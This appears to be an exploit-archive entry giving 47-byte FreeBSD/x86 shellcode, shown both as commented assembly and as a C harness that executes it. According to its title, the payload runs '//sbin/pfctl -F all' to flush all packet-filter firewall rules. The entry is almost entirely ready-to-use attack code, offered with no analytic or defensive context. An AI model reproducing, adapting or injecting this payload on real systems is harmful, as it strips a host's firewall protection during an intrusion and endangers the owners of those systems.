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FreeBSD/x86 - //sbin/pfctl -F all Shellcode (47 bytes)
/* * Title: FreeBSD 8.0-RELEASE/x86 '//sbin/pfctl -F all Shellcode 47 Bytes' * Type: Shellcode * Author: antrhacks * Platform: FreeBSD 8.0-RELEASE */ /* ASSembly 31 c0 xor %eax,%eax 50 push %eax 68 2d 46 61 6c push $0x6c61462d 89 e1 mov %esp,%ecx 50 push %eax 68 66 63 74 6c push $0x6c746366 68 69 6e 2f 70 push $0x702f6e69 68 2f 2f 73 62 push $0x62732f2f 89 e3 mov %esp,%ebx 50 push %eax 51 push %ecx 53 push %ebx 89 e1 mov %esp,%ecx 50 push %eax 51 push %ecx 53 push %ebx b0 3b mov $0x3b,%al 50 push %eax cd 80 int $0x80 31 c0 xor %eax,%eax 50 push %eax 50 push %eax cd 80 int $0x80 */ #include <stdio.h> int main(){ char shellcode[] = "\x31\xc0\x50\x68\x2d\x46\x61\x6c\x89\xe1\x50\x68\x66\x63\x74\x6c" "\x68\x69\x6e\x2f\x70\x68\x2f\x2f\x73\x62\x89\xe3\x50\x51\x53" "\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80\x31\xc0\x50\x50\xcd\x80"; printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 ); (*(void (*)())shellcode)(); return 0; } # 0day.today [2024-07-04] #